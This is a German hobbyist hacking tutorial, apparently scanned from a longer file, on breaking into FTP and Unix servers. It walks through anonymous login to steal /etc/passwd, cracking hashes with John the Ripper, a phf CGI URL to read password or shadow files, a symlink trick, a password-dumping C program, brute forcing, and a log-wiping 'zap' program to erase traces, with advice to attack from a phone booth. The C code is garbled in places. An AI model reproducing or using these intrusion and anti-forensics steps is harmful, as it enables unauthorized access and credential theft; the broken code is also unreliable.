Sie sind auf Seite 1von 5

Also,da w�ren wir mal wieder.Das hier ist nun mein viertes Tutorial.

Noch eine
kleine Sammlung,die man aber noch ausweiten kann.Diesmal will Ich nicht lange "um
den heissen Brei" reden,sondern gleich zum Thema kommen.
Bevor Ich es mal wieder vergesse:
Ich bin nicht f�r die Dinge verantwortlich die ihr, mit dem Wissen, in euren
weiterem Leben anstellt. Was ihr hier liest dient nur der Wissenserweiterung.Es ist
kein Aufruf zum FTP-Server knacken!

Auf meiner Liste stehen diese Themen:

Die Readme Datei

Was ist FTP?

Einige FTP-Befehle

verschiede Methoden um in einen FTP-Server zu kommen

Log-Dateien

Links zu Exploitseiten

Was ist FTP?

Werden sich wohl einige gefragt haben.FTP ist ein Protokoll,das File Transfer
Protokoll,ein Service und ein Programm. �ber den FTP Port (21) kann man Daten
austauschen.Man kann sie up- und downloaden.
Sie k�nnen sich einen FTP-Server als Lagerstation von riesigen Mengen an Daten
ansehen. Einige Befehle,die zum Programm geh�ren,werden noch weiter erl�utert.
Weiter gehe Ich auf das Protokoll nicht mehr ein.Wenn sie mehr wissen wollen,so
schauen sie am besten in mein TCP/IP Tutorial rein.

Einige FTP Befehle

as
wechselt in den ASCII Transfermodus(f�r Texte)
bi
wechselt in den Bin�r Transfermodus(f�r Grafiken,etc)

put filename
�bertr�gt eine lokale Datei auf den Server(du musst den Pfad mitangeben)

mput *.ext
�bertr�gt mehrere lokale Dateien,mit selber Endung auf den Server

get filename
�bertr�gt eine Datei(auf dem Server) auf deinen Festplatte,etc.

mget *.ext
�bertr�gt mehrere Dateien,mit delber Endung auf deine Platte

ls
bedeutet "list",ist das Unix Gegenst�ck zum DOS Befehl: dir

pwd
Ein weiterer Unix Befehl,zeigt den Pfad an,in dem zu dich gerade befindest
cd ..
ein weiteres Verzeichnis aufw�rts(Richtung / )

cd directoryname
wechsel in ein anderes Verzeichnis

open irgendwas.de
um sich wieder einzuloggen,falls du rausgekickt wurdest

quit
verl�sst das Programm

Verschiede Methoden um in einen FTP-Server zu kommen

1) Die einfachste Methode um vollen Zugriff auf einen FTP-Server zu bekommen ist
wohl diese:
1.Such dir einen Server aus.
2.verbinde dich mit dem Server(ftp irgendwas.de)
3.versuche anonym reinzukommen(Login Name: Anonymous,guest,test)
4.wenn er dich nach deiner E-Mail Adresse,als Passwort, fragt,so tippe irgendwas
ein.
5.gut,du bist drin.versuche nun an eine Datei namens passwd zu kommen.Sie liegt im
bei einigen Linux- Distributionen im Verzeichnis /etc/passwd
6.du bekommst die Datei mit get /etc/passwd
7.Entweder bekommst du gesagt,das die Datei nicht existiert oder das die Datei
�bertragen wurde. Wir k�mmern uns erst um den zweiten Fall.
8****appe die Verbindung und �ffne die Datei.
9a.Wenn du etwas in der Richtung siehst (root:fd789sds80:0:0:/root:/bin/bash),dann
gratuliere.
Siehst du aber so was (root:x:0:0:/root:/bin/bash),dann sind die Passw�rter
geshadowed.
Was hei�t,das die verschl�sselten Passw�rter in der Datei /etc/shadow stehen.Du
kannst die Datei aber nicht mit dem Anonymous Account kopieren.
10a. Besorge dir nen Unix-Cracker,wie z.B John the Ripper oder Cracker Jack.(Ich
bevorzuge John the Ripper...)
und cracke das File.Das Passwort wird dir nach einer Zeitspanne angezeigt und du
kannst auf Datei-Suche gehen.
8b.Die Datei wurde nicht �bertragen.
9b. Was bedeutet das die Passes in einer anderen Datei stehen,oder du hast keinen
Zugang zu der Datei.

2)Ein alter Bug:

Tippe in deinen Browser folgendes ein:


[hide]http://www.irgendwas.com/cgi-bin/phf...%20/etc/passwd[/hide]

anstelle des /etc/passwd solltest du auch mal /etc/shadow probieren.


Wenn es geklappt hat,so sollte er dir die passwd anzeigen.

3)Loop

Dieses hier funktioniert nur auf einigen Systemen

ypcat /etc/passwd >~/passwd


rm -f ~/.lastlogin
ln -s ~/.lastlogin /etc/passwd
nun kurz ausloggen und dann wieder ein.
cat .lastlogin > passwd
rm -f ~/.lastlogin

4)Ein Script
Suche dir nen C++ Compiler,unter Linux gibts einen direkt dazu, und kompiliere es
nun.

struct SHADOWPW
{
/* see getpwent(3) */
char *pw_name;
char *pw_passwd;
int pw_uid;
int pw_gid;
int pw_quota;
char *pw_comment;
char *pw_gecos;
char *pw_dir;
char *pw_shell;
}
struct passwd *getpwent(), *getpwuid(), *getpwnam();
#ifdef elxsis?
/* Name of the shadow password file. Contains password and aging info*
#define SHADOW "/etc/shadowpw"
#define SHADOWPW_PAG "/etc/shadowpw.pag"
#define SHADOWPW_DIR "/etc/shadowpw.dir"/*
* Shadow password file pwd->pw_gecos field contains:*
* ,,,,*
* = Type of password criteria to enforce (type int).
* BSD_CRIT (0), normal BSD.
* STR_CRIT (1), strong passwords.
* = Password aging period (type long).
* 0, no aging.
* else, number of seconds in aging period.
* = Time (seconds from epoch) of the last password
* change (type long).
* 0, never changed.n
* =Time (seconds from ephoch) That the current password
* Was made the (type long).
* 0, never changed.ewromsinm
* = Password (encrypted) saved for an aging t *
prevent reuse during that period (type char [20]).
* "*******", no .*/
/* number o tries to change an aged password */
#deffine CHANGE_TRIES 3
/* program to execute to change passwords */
#define PASSWD_PROG "/bin/passwd"
/* Name of the password aging exempt user names and max number of entir
#define EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100
/* Password criteria to enforce */
#define BSD_CRIT 0 /* Normal BSD password criteria */
#define STR_CRIT 1 /* Strong password criteria */
#define MAX_CRIT 1
#endif elxsi
#define NULL 0
main()
{
struct passwd *p;
int i;
for (;1
{
p=getpwent();
if (p==NULL) return;
printpw(p);
}
}printpw(a)
struct SHADOWPW *a;
{
printf("%s:%s:%d:%d:%s:%s:%s\n",
a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
a->pw_gecos,a->pw_dir,a->pw_shell);
}
/* SunOS 5.0 /etc/shadow */
/* SunOS4.1+c2 /etc/security/passwd.adjunct */

5)Exploits
Such dir Informationen �ber dein Opfer und suche nach Exploits.Viele Exploits gibt
es �ber sendmail,den "buggiest daemon on earth".Die meisten Exploits sind gut
erkl�rt und d�rften dir weiterhelfen.Da jedes System meist verschieden aufgebaut
ist und andere Services am Laufen hat so musst du suchen.Aber eines kannst du
beachten: Laufen viele Services,so ist das System anf�lliger als wenn nur sehr
wenige laufen w�rden. Ich gebe nachher noch einige Links Exploit-Seiten an

6)Brute-Force Cracking
Auch eine M�glichkeit um in einen Server zu kommen,ist das Brute Force Hacking,d.h.
du probierst so lange aller m�glichen Zahlen,Buchstaben und
Sonderzeichenkombinationen durch bist du das root-Passwort hast. au�er BFH gibt es
auch noch die schnellere Methode W�rter aus einer Wordlist auszusuchen und diese
dann durchzuprobieren.Ein gutes Tool um dieses zu verwirklichen ist
UnSecure.UnSecure kann BFH und Wordlist-cracking.BFH dauert zwar sehr lange,aber
funktioniert immer.Das Programm und eine Wordlist liegen auf unserer Homepage.

--------------------------------------------------------------------------------

Log Dateien
Noch was sehr Wichtiges!Wenn du nen root Account auf nem geknackten Server hast
,dann solltest du schleunigst deine Logs aus den Dateien l�schen.Das Ganze kannst
du per Hand machen oder mit einem weiteren Script. Es ist nat�rlich auch nicht
unm�glich,dass weitere Programme laufen,die dich gelogged haben. Also am Besten
solche Aktionen nie on zu Hause aus starten.(Ein Notebook und ne Telefonzelle in
der Nach tuts auch...)Also wieder nen C++ Compiler

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,_RDWR))>=0) {
while(read (f, &utmp_ent,
sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));}
close(f);}}
void kill_wtmp(who)char *who;{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
seek(f,-(long)( (sizeof(struct utmp)) *pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, utmp_ent, sizeof (utmp_ent));
pos = -1L;* else pos += 1L;}}
close(f);}}
void kill_lastlog(who)char *who;{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >=0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
close(f);}
} else printf("%s: ?/n",who);}
mai(argc,argv)
int argc;
char *argv[];{
if (argc--2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!/n");}
else
printf("Error./n");}

MFG